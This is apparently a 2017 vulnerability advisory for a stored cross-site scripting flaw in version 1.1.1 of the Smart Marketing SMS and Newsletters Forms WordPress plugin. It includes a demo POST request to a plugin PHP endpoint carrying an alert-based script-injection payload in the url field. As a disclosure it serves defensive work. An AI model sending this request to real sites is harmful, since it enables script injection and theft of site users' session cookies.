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WordPress Smart Marketing SMS And Newsletters Forms 1.1.1 XSS

WordPress Smart Marketing SMS And Newsletters Forms 1.1.1 XSS
Posted Dec 5, 2017
Authored by Ricardo Sanchez

WordPress Smart Marketing SMS and Newsletters Forms plugin version 1.1.1 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | 107d4a628f05b49647ad046218a61ea0

WordPress Smart Marketing SMS And Newsletters Forms 1.1.1 XSS

Change Mirror Download
Class Input Validation Error
Remote Yes

Credit Ricardo Sanchez
Vulnerable Smart Marketing SMS and Newsletters Forms 1.1.1

Smart Marketing SMS and Newsletters Forms is prone to a stored cross-site
scripting vulnerability because it fails to sufficiently sanitize
user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the value url is not filter correctly:


Demo Request POST:

POST
/wordpress/wp-content/plugins/smart-marketing-for-wp/admin/partials/custom/egoi-for-wp-form_egoi.php
HTTP/1.1
Host: localhost
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie:
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

url="" onload="alert('XSS')">

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